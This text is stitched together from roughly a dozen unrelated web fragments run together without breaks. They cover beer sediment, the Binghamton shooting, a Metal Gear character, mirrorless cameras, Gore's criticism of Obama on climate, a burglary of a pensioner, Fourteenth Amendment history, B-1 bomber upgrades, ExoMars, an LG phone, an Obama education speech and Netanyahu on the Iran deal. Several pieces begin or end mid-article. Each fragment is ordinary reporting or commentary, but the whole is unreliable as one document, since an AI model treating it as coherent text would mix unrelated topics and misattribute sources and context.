Bryan (via Facebook): Bob, could you please address beer ‘floaties’ – the particles sometimes hanging out in the bottles of craft beers?
Bob: Good one, Bryan. There are different types of ‘floaties’ caused by different things. I like to think of them as the good, the bad, the very bad, and the ugly.
The good: The beer has been bottle-conditioned. Bottle conditioning is a deliberate process whereby a small amount of active yeast and sometimes a bit of fermentable material such as maltose or some other type of sugar is added to the bottle prior to capping it. Sometimes the bottle will be filled with beer that is still fermenting. Either way, the result is a mild fermentation taking place in the enclosed bottle which creates a natural carbonation and a small increase in the alcohol content.
However, there will also be yeast in the bottle, some of which was left there and some that was generated by the fermentation. This yeast will settle to the bottom of the bottle but will become “floaters” when the beer is agitated or moved – like when you are pouring it or drinking it. It’s not bad and doesn’t affect the flavor. Bottle-conditioned beers can be quite good and the yeast is a part of the experience.
The bad: Several things here. First – and probably most common – is that the beer is just plain old. Some craft beer has been known to get lost on the shelf for ages. While we all know that some beers such as barley wines and strong ales can be laid down for extended periods and actually improve with age, this is not the case with many other beers. Age can destroy beer. The liquid breaks down, the proteins fall out, the hop character goes away and the beer tastes stale, oxidized, and musty.
In this case, the floaters tend to look like snowflakes rather than the yeast sediment from bottle conditioning. “Snowflake” beer should be avoided. Also bad but not necessarily fatal is poor filtration at the brewery, which allows particulates to end up in the bottle. This is mostly a cosmetic thing, but its presence reflects inattention or poor practice by the brewer.
The very bad: The beer is infected and spoiled. Poor sanitation, bacterial contamination. You will know immediately if this is the case, as the beer will smell bad and taste awful. It won’t kill you if you drink it but if it smells bad it’ll taste worse. Some beer from small breweries is packaged unpasteurized. This can be a good thing if the beer is kept refrigerated and consumed fresh. However, an unpasteurized beer can have a limited shelf life and be subject to spoilage. Spoiled beer can have floaters and may also appear cloudy.
The ugly (But not bad): A significant amount of yeast has been intentionally left in the beer as a part of the style. Think German-style hefeweizen. While some American-style hefe beers have been processed so as to keep the yeast in suspension, this is not always the case. The yeast can sit on the bottom of the bottle in a thick mass. There are examples with so much yeast in them that the beer looks muddy and the sediment will actually be so thick that it has to be coaxed out of the bottle in chunks. Big, fat floaters. Thick brown sludge oozing from the bottom of the bottle: not very appetizing. For these beers it is recommended that the bottle be laid on its side and gently rolled back and forth for a few minutes so as to “rouse the yeast” and get it into suspension before pouring. Bottled beers of this type should always be roused and then poured into an appropriate glass. Great beers if served properly.
Ask Bob a Question
Police are trying to determine why Jiverly Wong picked the American Civic Association as his target Friday.
Jiverly Wong, a 41-year-old Vietnamese immigrant from an ethnic Chinese family, fired 87 shots from a 9 mm pistol and 11 shots from a .45-caliber handgun, Chief Joseph Zikuski told CNN.
Investigators believe the victims died almost instantly, Zikuski said.
Wong was an "accomplished marksman" who frequented a shooting range in Binghamton, the chief said, and he bragged to others that he had fired more than 10,000 rounds.
Wong strode into the American Civic Association on Friday, entered a classroom and started shooting, investigators said.
Wong had been taking English classes at the association, which helps immigrants and refugees from around the world. He was upset about recently losing a job, but police are still trying to determine why he chose to open fire at the association, Zikuski said.
The police chief said that "it's not unreasonable to think" that Wong fired his 98 shots "in just over a minute" before he shot and killed himself in the classroom.
Investigators have found that Wong came to the United States in the late 1980s, lived in Binghamton before moving to California in the early 1990s and returned to Binghamton in July 2007, Zikuski said. He became a U.S. citizen in 1995. He had married and divorced while living in California and had been convicted on a misdemeanor charge of writing bad checks there, the chief said.
At the scene of Friday's shooting, police found two semiautomatic handguns -- a .45-caliber and a 9 mm -- that were licensed to Wong.
Wong had attempted to purchase "a number of firearms," the chief said. Purchasing a gun in New York takes about two weeks, Zikuski said, and Wong would go back to a store during that period, "cancel that order and purchase another one."
Wong also was wearing body armor when he went on his spree, and since New York limits body armor purchases to law enforcement, "We're looking into that," Zikuski said.
The first funerals for the victims were held Sunday afternoon at a local mosque. An interfaith memorial service for all the victims was held Sunday evening, and hundreds of people took part in a candlelight vigil afterward.
"In a strange way," Binghamton Mayor Matthew Ryan said, "this tragedy has brought everyone together."
CNN's Susan Candiotti contributed to this report.
Since these tweets came out, a lot of fan theories have circulated about Quiet’s choice of dress. Many folks worried that the reveal would be upsetting, especially if Quiet’s outfit choice would somehow relate to a former traumatic event. Kojima’s emphasis on “shame” had a haunting effect on the types of theories that fans created.
So, uh, the actual explanation for her outfit has come as a bit of a relief to me, personally. Here’s what it is, so please close this article if you don’t want to read a spoiler: Quiet is infected with a sci-fi parasite, so she can only breathe through her skin and she can’t open her mouth to speak. She’s actually the second sniper character in Metal Gear to have this backstory, although last time this trope came up, the guy got to wear way more clothes. This time it’s different, because uh … hm,. Well … okay, I guess we don’t have all the answers.
Oh, also, speaking of warnings that you might want to hear ahead of time when it comes to this game, there’s also a scene where Quiet has to fight off an attempted rape. And she has to use her photosynthesis powers to do it! Meaning, she has to get naked in order to fight off a rapist. So, that’s a thing.
Anyway, it seems to me like lots of people are feeling relieved that Quiet’s outfit has a silly, corny, almost laughable explanation rather than the horrific one that everyone worried about. But do we even really have an explanation for the outfit at all, here? Why is Quiet wearing this outfit in particular, as opposed to any number of other equally breathable designs? Why would she wear ripped stockings that aren’t particularly breathable, as opposed to a linen suit, or even just a bikini without the ripped stockings?
Why didn’t Kojima just admit that he wanted Quiet to look this way because he thought it was cool and sexy? Because … it seems pretty obvious that’s the actual reason for this. And no one needs to be “ashamed” about it. It would be nice if we’d all be a little more up front about that sort of thing, actually.
(via Kotaku, image via Gamespot)
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I remember snagging the last Sony a580 that B&H had in stock back in 2010. The a580 was one of the company’s last traditional DSLR offerings, as the SLTs (Single Lens Translucent) were already on the rise. The a55 was the talk of the town when it came out in 2010. Light was able to pass through the mirror onto the sensor, and given the camera’s design, there was an electronic viewfinder instead of an optical one. As SLTs were taking shape, Sony had already introduced its NEX line of compact interchangeable lens cameras with APS-C size sensors earlier that year. There was no mirror at all in those, and it was an early sign that times were changing for Sony. DSLRs completely bit the dust at Sony, as the SLT and NEX lines raced ahead, only to be consolidated later under the Alpha branding for both. The A-mount is the main remnant of Sony’s acquisition of Konica Minolta.
Similarly, Leica’s never really been about mirrors. The company’s raison d’être has been its M series of rangefinders, which have a slim physique due to their lack of reflex mirrors. That’s not to say there weren’t SLRs. Leica had a line of traditional SLRs known as the R-mount cameras, but when people talk about wanting an old Leica, they’re talking about the Ms, not the Rs. You can get an M4 body-only on eBay for about $1,000. You can get an R4 for about $100. A Summicron-M 50mm f2 lens will run you over $1,000. A Summicron-R 50mm f2 will fetch about half that. The demand just isn’t as high.
Digitally, Leica’s been mostly conservative. The Ms have been popular, but they’ve lacked the trappings other companies were offering in spades: hi-res LCDs, built-in wi-fi, HD video, etc. They could take outstanding images, but the cameras technologically were not as advanced as their peers. Leica was resting on its laurels until it finally decided to take digital seriously.
The Q and a7R Mk II announced dropped around the same time. Leica’s $4250 fixed-lens beast inspired such fanfare because it’s the first of its kind the company’s repertoire to fully embrace the digital age with its built-in wi-fi, HD video, stupidly hi-res electronic viewfinder, and other accoutrements. Sony’s $3200 42-megapixel behemoth tore the doors off its predecessor, and while it can’t reach as high an ISO as the a7S, it has a back-illuminated sensor that improves its light-gathering ability. All of this is because the reflex mirror is nowhere to be found.
Stripping the camera of its mirror and pentaprism allows it to be much smaller, and with less space to worry about, more can be done. Sony and Leica aren’t the only ones to eschew the mirror. Olympus and Fujifilm are the other main contenders, but Fujifilm’s had the same sensor in all of its recent X-series cameras. Olympus has been doing great things, too, but the company doesn’t have as much reach as Sony. You might be surprised to find that Sony’s sensors can be found in the iPhone 6, several Samsung phones, and Nikon DSLRs, among others. Sony’s booming sensor business aside, the company has made the case that the mirror is, more or less, obsolete. Who knows if there’ll be a successor to the a99, a58, or the a77II?
Canon and Nikon are still trucking with their mirror-filled DSLRs. They make good cameras, but no one’s looking to them for innovation anymore. Sony’s been charging ahead with its full-frame E-mount line. In just over a year, we have the a7, a7II, a7R, a7S, a7RII. For a time, there were more cameras for that mount than lenses.
That’s not to say there isn’t value in old forms, that is to say in mirrors. Plenty of photographers use cameras with mirrors, digital and otherwise, because it’s what they have or they want to actually see what they’re photographing, not a video out signal in an electronic viewfinder. Do I want the mirror to go away? Not really, but what removing the mirror has allowed companies do is incredible. The Q and a7RII have been critically lauded, but it begs the question, “How do we want to see the world?”
At some level, Gore seems to understand this. The thrust of his essay is about climate denialism and an entertainment-obsessed media that’s more interested in “building the audience” than telling the truth; the swipes at Obama are afterthoughts near the end. And Gore balances his criticism with enough caveats to plug the hole in the ozone layer.
He catalogues all the “incredible challenges” Obama faced: the Bush legacy of the Great Recession and the debt, Republican obstructionism, fossil-fuel industry control of most of the GOP and some Democrats, and a well-financed campaign of climate denial. “In spite of these obstacles,” Gore acknowledges,” “President Obama included significant climate-friendly initiatives in [his] economic stimulus package….He implemented historic improvements in fuel-efficiency standards for automobiles…He appointed many excellent men and women to key positions, and they, in turn, have made hundreds of changes in environmental and energy policy that have helped move the country forward slightly on the climate issue.”
Significant! Historic! Excellent! Those are pretty good blurbs.
So what did Obama do wrong? Other than failing to do Gore’s job for him?
Well, there’s this: “After successfully passing his green stimulus package, he did nothing to defend it when Congress decimated its funding.”
This is…how to put this gently?…a crock. Obama secured $90 billion worth of clean-energy funding in the stimulus, and Congress has not decimated it. I follow the stimulus with a stalkerish obsession–are there support groups for this kind of compulsion? –and I can only recall $3.5 billion in green funding getting eliminated. It was actually shifted out of a loan guarantee program for renewable projects that got off to a slow start; one chunk went to Cash for Clunkers, and a later chunk went to a bill to save teaching jobs. That loan program, by the way, has picked up speed; the Obama administration has announced eight deals worth nearly $5 billion in the last two weeks.
And yes, you read that right: The stimulus poured $90 billion into clean energy, an order of magnitude more than the federal government had ever spent before. It included record funding for efficiency; wind, solar and geothermal power; electric cars; advanced biofuels; and green manufacturing. That’s bold action. Gore ought to know. The former head of his climate non-profit, Cathy Zoi, helped oversee the stimulus as head of Obama’s office of efficiency and renewables.
Gore’s other substantive criticism of Obama is that “after the House passed cap-and-trade, he did little to make passage in the Senate a priority.” That’s true. He didn’t have the votes for passage in the Senate. If only there were an environmental group dedicated to climate action that could have rounded up the votes…
Nobody has done more than Gore to make the case that climate change is a global emergency, and it’s understandable that he’s frustrated with the pace of progress. It’s also legitimately irritating that Obama has stopped talking about climate change when he talks about clean energy. But the chronically disgruntled liberals who argue that cap-and-trade (or the public option, or immigration reform, or the Employee Free Choice Act) could have passed if only the president had used his bully pulpit and made the case are not dealing with reality. He is not a superhero. How exactly is Obama supposed to persuade Joe Manchin to vote for that cap-and-trade bill he gunned down in his campaign ads? On a related topic, how many senators did Vice President Gore persuade to vote for the Kyoto Protocol? (A hint: You can count them on no hands.)
Margaret Woodward, 68, was repeatedly burgled by Patrick Reid, 51
So police set up hidden camera in her flat and recognised the thief
Pensioner has been given £1,500 award for her bravery in chasing him off
Reid was jailed for four years and eight months earlier this year
As she snoozes in the living room that should be her sanctuary, a pensioner’s security is violated in the most appalling way.
These CCTV images show hooded burglar Patrick Reid prowling around 68-year-old Margaret Woodward’s armchair as she sleeps, totally oblivious to the danger in her midst.
But if Reid felt invincible in the face of such vulnerability, he was deluded.
Scroll down to watch the video
Creepy: Burglar Patrick Reid is pictured approaching Margaret Woodward as she sleeps in an armchair
Thief: Hidden cameras set up by police showed Reid taking Mrs Woodward's handbag from the basket of her mobility scooter
After rifling through her handbag and the basket of her mobility scooter, Reid set off an alarm as he was leaving.
Far from cowering in her seat, Mrs Woodward struggled to her feet, grabbed her walking stick and chased the intruder out of her flat.
And unknown to him, he had been caught on cameras installed by police after previous raids on Mrs Woodward’s flat, leading to his capture soon afterwards.
The chilling footage was released yesterday after the pensioner was awarded £1,500 for her ‘pluck and courage’ in confronting Reid, 51.
She was nominated by the judge who jailed him for the break-in – the fifth time Reid had allegedly targeted her.
Victim: Mrs Woodward was burgled by Reid five times within a year and had £900 stolen in total
Heading out: Reid casts an eye back at his victim as he prepares to walk out of the door with her handbag Alarm: The thief started running out of the flat as soon as Mrs Woodward's burglar alarm went off
Mrs Woodward, who suffers from severe arthritis in both knees, cannot bring herself to watch the film of the April incident because ‘it made me feel like I didn’t want to live any more’.
‘It was very frightening to wake up knowing there was somebody in my house but I was determined not to let him get away,’ she said.
‘I wanted to break his kneecaps with my walking stick so he couldn’t escape.’
The retired supermarket worker added: ‘I thought I’d be able to get him but he ran into my bedroom, jumped on to the bed and went straight out of the window like a gymnast tackling a hobby horse.’
The divorcee, who has no children, called police who found Reid at a nearby retail park.
Officers installed CCTV cameras at her home in Long Eaton, Derbyshire, after the property was repeatedly targeted last year.
She lost £900 over five break-ins before officers identified Reid in footage of the final raid and arrested him.
Sinister: Another angle of the cameras shows Reid looking around with Mrs Woodward, bottom left, asleep
Running: The habitual thief pictured at the moment the burglar alarm went off Heading off: Reid turns his back to the camera which had been set up to find his identity
Two cameras clearly captured the burglar rooting around the flat for 13 minutes looking for valuables – at times just inches from the sleeping pensioner. Mrs Woodward is first disturbed by the sound of Reid unzipping her handbag but is only roused fully from her sleep when he triggers the alarm at 12.50am.
As she moves towards her walking stick, Reid is seen disappearing into another room before making his escape through the bedroom window.
Reid, of Nottingham, was charged with all five break-ins but the Crown Prosecution Service dropped the first three charges.
The father of two was jailed in May after pleading guilty to the last two break-ins, stealing £53 from the pensioner’s purse in March and £66 when he returned to the flat the following month. Police told Mrs Woodward that Reid had a history of offending going back years.
She said she felt ‘traumatised’ and ‘abused’ by the burglar, adding: ‘My privacy has all gone. My main concern from now on is just to keep myself alive, just to keep going.’
Judge John Gosling jailed Reid for four years and eight months for his ‘wicked and calculated offending’.
He awarded Mrs Woodward £1,500 of the Derbyshire High Sheriff’s fund, which aims to improve quality of life for local residents.
Detective Constable Gill Richardson said: ‘It is particularly shocking in the film how brazen Reid is, being just inches away from Margaret.’
It took eight years, but five cases were combined and brought before the Court. Three were from the North and none from the Deep South. Justice Joseph Bradley, writing for the majority, could not have been more clear. “Individual invasion of individual rights is not the subject matter of the [Fourteenth] amendment.”
In the wake of the Court’s decision and after a number of other cases where the Court claimed to adhere to the letter of the law while bulldozing its spirit, every southern state rewrote its Constitution in a manner that effectively removed black citizens from the political process. Between 1897 and 1900 in Louisiana, for example, the number of black men registered to vote fell from 130,344 to 5,320. And so Jim Crow was born. Between 1890 and 1903, 1,405 black Americans were lynched in the United States.
Then, having rewritten the Fourteenth Amendment to the detriment of African-Americans, the Court rewrote it once more to protect American corporations. It was an era of burgeoning corporate power, particularly railroads, and many of the justices had specialized in corporate law before being elevated to bench. In a seemingly innocuous 1886 case, Santa Clara County v. Southern Pacific Railroad Company, a unanimous Court ruled that a railroad could not be taxed for fences that had been erected by the state and were therefore not part of the railroad’s property. More significant, however, was an aside taken down by a court reporter, in which Chief Justice Waite asserted, “The court does not wish to hear argument on the question whether the provision in the Fourteenth Amendment to the Constitution, which forbids a State to deny to any person within its jurisdiction the equal protection of the laws, applies to these corporations. We are all of the opinion that it does.”
From there, corporations began to receive the very same Fourteenth Amendment and Bill of Rights protections that had been denied to black Americans, so much so that the eminent legal historian Edward S. Corwin wrote in 1909, “This tribunal began a reinterpretation of the Fourteenth Amendment in the light of the principles of Lockian individualism and of Spencerian Laissez Faire, which traverses the results it had previously reached at every point.” Corporate power soared still more in the wake of the Court’s stance, with critics accusing railroad men and other corporate giants of trying to buy the country.
Called Integrated Battle Station, or IBS, the upgrades consist of three separate efforts to install new displays, integrated data links and diagnostic technologies. The service began fielding the first production IBS aircraft in November of last year and plans to finish the entire fleet by 2019.
“This modernization is the most significant upgrade to the B-1 since initial production,” said Maj. Mick Szczukowski, program element monitor, Air Force acquisition. “Concurrent procurement and installation of all three upgrades reduces installation costs, reduces aircraft downtime, and keeps fielded aircraft configurations to a minimum for aircrew training, maintenance, and operational deployment efficiencies.”
The upgrades are intended to preserve the service-life of the 1980s-built B-1 aircraft through 2040, he added.
After being built in the 1980s, the B1-B Lancer has dropped weapons in a wide range of conflicts. After first serving in Operation Desert Fox over Iraq in 1998, the aircraft has performed missions in Operation Allied Force over Kosovo, served in the wars in Iraq and Afghanistan and flown missions over Libya in 2011.
During the first six months of Operation Enduring Freedom, eight B-1s dropped nearly 40-percent of the total tonnage delivered by coalition air forces, Air Force officials said. This included roughly 3,900 guided bombs or Joint Direct Attack Munitions, called JDAMs.
The aircraft is 34-feet tall, 146-feet long and has a wingspan of 137 feet. The B-1 weighs roughly 196,000 pounds and can hit speeds greater than 900 mph. Its four General Electric turbofan engines each generate 30,000 pounds of thrust, Air Force officials said.
One analyst said the B-1 has considerably evolved its mission scope since its inception in the 1980s.
“This was originally a nuclear-bomber plane and they have had to do a lot to make it capable as a conventional plane. It was absent from the first Gulf War and then became more adaptive and multi-role,” said Richard Aboulafia, vice-president of analysis at the Teal Group, a Va.-based consultancy.
A key element of the upgrades are what the Air Force calls vertical situation display upgrade or VDSU, an effort to replace existing flight instruments with 8-by-6-inch multifunction color displays at each pilot station, Szczukowski added.
In addition, the VDSU adds a second display at each pilot station to better enable pilots to avoid threats and strike emerging targets while functioning as a back-up display, he said.
The second piece of the upgrade includes fully integrated data link, or FIDL. FIDL provides ethernet to transmit flight and weapon data among aircrew stations and to other off-board receivers via line-of-sight and beyond-line-of-sight networks, Szczukowski said.
“It adds the capability to share information with command-and-control organizations and other air, land, and sea assets in the battle space,” he said.
The IBS technologies are developed by Boeing and handed over to the Air Force for installation on the airframes at a Boeing facility called the Oklahoma City Maintenance Repair and Overhaul Technology Center.
“Before there was a monochrome monitor and there was also an old analogue tape which monitored airspeed and vertical velocity. Now there are two advanced liquid crystal displays,” said Dan Ruder, B-1 advanced program, Boeing. “This provides new primary flight displays in color. “
FIDL also replaces monochromatic displays at the rear cockpit crew stations with color multifunctional displays, a streamlining move which will help the crew with weapons assignment and delivery. In addition, this will allow the crew to perform rapid airborne retargeting missions using machine-to-machine data transfers, he added.
FIDL also inculdes a beyond-line-of-sight data link integrating with the B-1 avionics system. This enables a ground commander to task a B-1 well outside of the battlespace, Air Force officials said. At the same time, command and control far removed from the battlespace can task or re-task a B-1 that is en-route or already in the battlespace.
The third piece of the IBS upgrade is the addition of memory capacity to the diagnostics data base, Szczukowski explained.
The Air Force lists the price of a B1-B Lancer at $283.1 million in 1998 dollars, and service officials say the fleet-wide IBS upgrades will cost $918 million for procurement and installation and $391 million for research and engineering.
In addition to IBS, the Air Force is also pursuing a handful of additional upgrades to the B-1 bomber to include improvements to its navigation system. Beginning last year, the Air Force began fielding a program called inertial navigation system replacement, or INSR, which improves navigation by replacing two spinning mass gyroscopic inertial navigation system with ring laser gyroscopic systems and a new GPS antenna, Szczukowski added.
The INSR program will cost $88 million in research and $93 million in procurement and installation dollars, he said.
The Air Force has also begun fielding new radar technology for the B-1, replacing the APQ-164 radar and conducting the first major radar modification for the B-1 in 25 years. The effort, which began fielding in 2012, is slated to cost $373 million.
The B-1 is also slated to receive a new attitude indicator, an instrument which provides angle of the aircraft, airspeed and altitude information to the crew. The new system, to field by 2015, will replace three existing instruments with a single integrated instrument, service officials said.
Aboulafia said the B-1 upgrades represent an Air Force effort to expand the mission possibilities for the aircraft.
The judgment was handed down by the Luxembourg-based Court of Justice of the European Union in a development that highlights ongoing battles between supporters of privacy rights and those who advocate for freedom of expression.
The court ruled that Google, if asked to do so, must amend links to information shown to be outdated or information deemed to be irrelevant.
The lander, known as Schiaparelli, seems to have deployed its parachute too early and fired its thrusters for an insufficient amount of time as it streaked through the Martian atmosphere Wednesday, ESA officials said. Still, ExoMars team members continue to analyze data and have not yet officially declared the lander dead.
As Schiaparelli was experiencing its "six minutes of terror" descent, the second part of the ExoMars 2016 mission, the Trace Gas Orbiter (TGO), was firing its main engine for more than two hours in a crucial orbit-insertion burn. [In Photos: Europe's Schiaparelli Mars Landing Day]
TGO aced this maneuver and is now circling the Red Planet as planned.
"Following yesterday's events, we have an impressive orbiter around Mars ready for science and for relay support for the ExoMars rover mission in 2020," ESA Director General Jan Wörner said in a statement Thursday (Oct. 20).
From the ground
The European Space Agency's ExoMars project involves an orbiter, lander and rover, launched on two separate Proton rockets (infographic) (Image: © by Karl Tate, Infographics Artist)
Launched in March 2016, Schiaparelli and TGO zoomed across the solar system together for seven months. Schiaparelli separated from TGO on Oct. 16 to line up its landing attempt. The plan called for Schiaparelli to touch down Wednesday morning using a combination of aerobraking, thrusters and a parachute to slow its descent. Less than a minute before it should have reached the ground, however, mission controllers lost the lander's signal.
In the seemingly unlikely event that Schiaparelli did manage to land safely, it should have some data onboard. The Combined Aerothermal and Radiometer Sensors Instrument Package (COMARS+) monitored the conditions Schiaparelli experienced as it plummeted toward the ground, while the Descent Camera (DECA) captured 15 black-and-white images during the descent.
"Those images were supposed to be transmitted right after landing, so we have to wait for a successful landing," TGO project scientist Olivier Witasse said here at a joint meeting of the American Astronomical Society'sDivision for Planetary Sciences and the European Planetary Science Congress. [What Happened to Europe's ExoMars Lander? What We Know (Video)]
Schiaparelli is primarily a demonstrator module designed to test entry, descent and landing technologies for future missions, including the life-hunting rover that ESA and its chief partner on the two-phase ExoMars program, the Russian space agency Roscosmos, plans to launch in 2020. As a result, the lander was designed to have a short lifetime; it was built with nonrechargeable batteries that would last for just a few days on the Martian surface.
The original plan called for Schiaparelli to measure wind, humidity, pressure and temperatures for that brief stretch. The lander would also peer up through the atmosphere to determine its transparency and study the atmosphere's electric field — a phenomenon produced as dust lofted into the air forms clouds that discharge electricity.
"The electric field can be larger than it is on Earth," Witasse told Space.com. "That matters if we send humans to Mars."
For example, a massive enough electric field can help shield astronauts from dangerous radiation that slices through the thin Martian atmosphere, researchers have said.
From the air
TGO will relay data from the ExoMars 2020 rover, but the orbiter will also do quite a bit of science work of its own. TGO is currently in a highly elliptical, four-day-long orbit of Mars. In January 2017, the spacecraft will begin moving into an orbit more conducive to data collection. If all goes according to plan, TGO will reach that orbit — a circular path with an altitude of 250 miles (400 kilometers) — in March 2018, at which point it will begin its two-year science mission.
According to Ann Carine Vandaele, the principal investigator of the Nadir and Occultation for Mars Discovery (NOMAD) instrument on TGO, the orbiter will perform a full inventory of the types of molecules in the Martian atmosphere.
One of the many mysteries TGO should address is the origin of Mars' atmospheric methane. According to Witasse, methane could come from either geological processes in the crust or from organic sources. This latter possibility is of course intriguing to astrobiologists, some of whom believe that microbial life might exist on Mars today.
"That’s a very hot topic," Witasse said.
Because TGO will be combining multiple observations, "it will produce a three-dimensional version of the atmosphere," Vandaele told Space.com.
TGO will gather data for two years, so the spacecraft should also pick up any changes over time, often referred to as the fourth dimension.
"We will have a four-dimensional view of the Martian atmosphere," Vandaele said.
Most importantly, she said, TGO will help prepare the ground for the ExoMars 2020 rover by providing a global view of the Red Planet now and developing the chemical context for what the next mission might discover.
"The main scientific mission is to back up the 2020 mission," Vandaele said.
LG has never seen a spec it didn't want to enlarge
The gold-colored box is not incidental. Sources tell The Verge that the Korean phone maker intends to launch its next flagship in a golden hue, matching the broader trend that's been embraced by the gold Galaxy S5, HTC One, iPhone 5S, and LG's own golden G2 variant. When reached for comment, LG declined to discuss its future product plans, though it did confirm an earlier report from UberGizmo that its next phone will feature a 2560 x 1440 screen resolution.
Extreme high-resolution displays of this kind were rumored for Samsung's S5 and anticipated to arrive earlier in the year. Indeed they have made their way into the market through devices like the 5.5-inch Oppo 7, but LG's G3 is likely to be the first 1440p phone from the major manufacturers. The advantage of adding yet more pixels into phone displays can be described as dubious at this point, as it increases power consumption without necessarily improving on the image quality of a 1080p screen. That's likely why Samsung demurred on using the resolution, but LG has another trick up its sleeve when it comes to displays.
A recently leaked image of an LG isai FL — a new LG handset ostensibly headed for Japanese carrier KDDI — depicts a device with an especially thin bezel around the display. Labelled as the LGL24, this looks set to be the successor to the LGL22, which was a variant of the G2 modified for the Japanese market. Our sources confirm that the new phone in Japan will bear a familial resemblance to the new G3, suggesting that it too will benefit from the aggressively styled front. The date on the LGL24's screen is May 1st, which could also give a hint to its intended announcement timing.
"Now, I know some argue that during a recession, we should focus solely on economic issues ... but education is an economic issue, if not the economic issue, of our time," Obama said at the National Urban League's 100th Anniversary Convention in Washington. "We've tolerated a status quo where America lags behind other nations."
On the issue of higher education, he noted that America used to be first and is now 12th globally when it comes to college graduation rates. Middle-schoolers continue to fall behind in math and science, and the income gap continues to widen between white and African-American students, he said.
"It's essential that we put a college degree that's in reach of everyone (who) wants it," he said, adding that the college graduation rate needs to increase by 2020.
He also noted that the federal government has increased scholarships and other loan money to achieve that goal, "so young people don't graduate like Michelle and me with such big loan payments every month," he noted to an applauding audience.
Obama said his administration wants to reform and strengthen historically black colleges and universities, but "even if we do all this good stuff for higher education, too many of our children see college as a distant dream because their education went off the rails long before they turned 18," he said.
He said he is challenging states to offer better early learning options so children can enter kindergarten ready to learn.
"Knowing colors, knowing shapes ... knowing how to sit still. You gotta learn that, especially when you're a boy," he said smiling.
He acknowledged heavy criticism from civil rights groups about the education reform plans.
"Part (of the criticism) reflects a general resistance to change....the status quo is not working," he said. "We're lifting up quality for all our children... You can't win grants unless you've got a plan to ...deal with schools that have been forgotten."
The Obama education plan champions better teacher pay, but also asks for tangible results. He noted that his sister is a teacher.
"I'm here because of great teachers," he said. "Teachers are the single most important factor in a child's education from moment they step into the classroom. I want higher salaries. I want more support. I want them to be trained like the professionals they are... with rigorous residencies like doctors go through.
"I don't want talented young people to say, 'I'd love to teach, but I can't afford it.' Instead of a culture where we're always idolizing sports starts and celebrities, I want some teachers on the covers on some of those magazines," he said.
The president has demanded accountability in his plan.
"As we applaud teachers for their hard work, we need to make sure we're seeing results in the classroom," he said. "Let's work with teachers to become more effective."
If that doesn't work, Obama said officials need to find the right teacher for that classroom. "Our goal isn't to fire or to admonish teachers, it's to provide accountability."
Obama noted that the administration's Race to the Top program has sparked 32 states to reform their education laws "before we even spent a dime," he said. "In each round we've leveraged change across the country ... sown the seeds of achievement."
He said the program is different from the No Child Left Behind reform that he said caused states to lower standards.
"They are now raising those standards back up partly because of Race to the Top," he noted.
Obama said sometimes a school's problems are so deep, they need a complete overhaul.
He said he's challenging states to turn around 5,000 of the lowest-performing schools, and $4 billion has been earmarked for those schools. "It's not about labeling a troubled school as a failure, it's about investing in that school's future."
"In some cases that means restarting the school under different management as a charter school," he said. "Some people don't like charter schools ... but I want to give states and school districts the chance to try new things. If charter schools doesn't work, we'll hold it accountable and shut it down."
Obama called Race to the Top "the single most ambitious, meaningful reform effort we've attempted in this country in generations. We won't see results overnight. ... It may take a decade for these changes to pay off."
The last ingredient to Obama's education reform effort is parent involvement. But the president said children should take responsibility for their education, too.
"Parents are going to have to get more involved in their children's education," he said. "Our kids need to understand nobody's gonna hand them a future. Education isn't something you just tip your head and they pour it in your ear. You've got to want it."
Obama acknowledged that some families are dealing with unemployment, substance abuse and violence.
"I know the character of America's young people. I saw them volunteer on my campaign ... ask questions in town hall meetings and ... write me letters."
Race to the Top is funded under the American Recovery and Reinvestment Act to reward states for aggressively reforming their education systems. The $4.35 billion is being awarded in two phases.
Tennessee and Delaware were the only two states to receive funds in the first round of the competition. Eighteen states and the District of Columbia were selected as finalists this week to receive more than $3 billion in the second round of funding for the program.
The second-round finalists will travel to Washington in early August to present their plans to the reviewers who scored their applications, according to the Education Department. The winners will be announced in September.
Not all of the finalists, however, will be awarded grants from the nearly $3.4 billion remaining in program, Education Secretary Arne Duncan said, adding that Obama has requested $1.35 billion for the program in the administration's fiscal 2011 budget.
Tennessee received nearly $501 million, allowing the state and all 136 school districts to move forward in implementing comprehensive school reform plans over the next four years. Delaware has received about $100 million.
Prime Minister Benjamin Netanyahu will convene his security cabinet on Friday to discuss the framework deal reached between world powers and Iran, after telling US President Barack Obama in a phone call that he "vehemently opposed" the agreement.
Obama called Netanyahu within hours of the deal being struck, saying it represented significant progress toward a lasting solution that cuts off Iran's path to a nuclear weapon.
But Netanyahu said in a statement after the conversation that a deal based on the framework announced in Lausanne, Switzerland "would threaten the survival of Israel.""This deal would legitimize Iran's nuclear program, bolster Iran's economy and increase Iran's aggression and terror throughout the Middle East and beyond," Netanyahu said."It would increase the risks of nuclear proliferation in the region and the risks of a horrific war."Israel has said in the past that it would consider taking unilateral action to prevent Iran developing a nuclear weapon, a warning taken to mean that it could launch air strikes against Iran's nuclear facilities.While that rhetoric has died down over the past year or more, the head of Israel's military planning directorate, Major-General Nimrod Sheffer, said it was still a possibility."The military option has always been on the table, as we have said all along," Sheffer told Israel Hayom newspaper on Friday. "If it has not been mentioned much in the media recently, that does not reflect a change in policy."In a speech after the deal was announced, Obama said it was the best way of limiting Iran's nuclear ambitions, saying other options - including bombing Iran's nuclear facilities - would not go as far in preventing the development of a bomb.Under the deal, Iran has agreed to give up two-thirds of its installed centrifuges used for enriching uranium, has agreed to much tighter inspections and will dismantle a reactor that could produce plutonium, among other commitments.Netanyahu said rather than blocking Iran's path to the bomb, the framework deal "would pave it."He cited comments by an Iranian official who said this week that "the destruction of Israel is non-negotiable" and said the evidence was that Iran was "accelerating the arming of its terror proxies to attack Israel" a reference to Hezbollah in Lebanon and militant groups in Gaza.While much of the rest of the world appears inclined to support efforts to reach a negotiated solution with Iran - and there was cheering in the streets of Tehran after the deal was struck - Israel remains an outlier.Obama mentioned several times during his speech that the United States stood shoulder-to-shoulder with Israel on security and would not allow "any daylight" to get in between their positions, but the reassurances have not satisfied Netanyahu.The chances of Israel going it alone militarily against Iran would appear to be very slim, but with the Republican-led Congress also critical of the deal, Netanyahu may feel he can put pressure on the US administration to push harder."The alternative is standing firm and increasing the pressure on Iran until a better deal is achieved," he said.
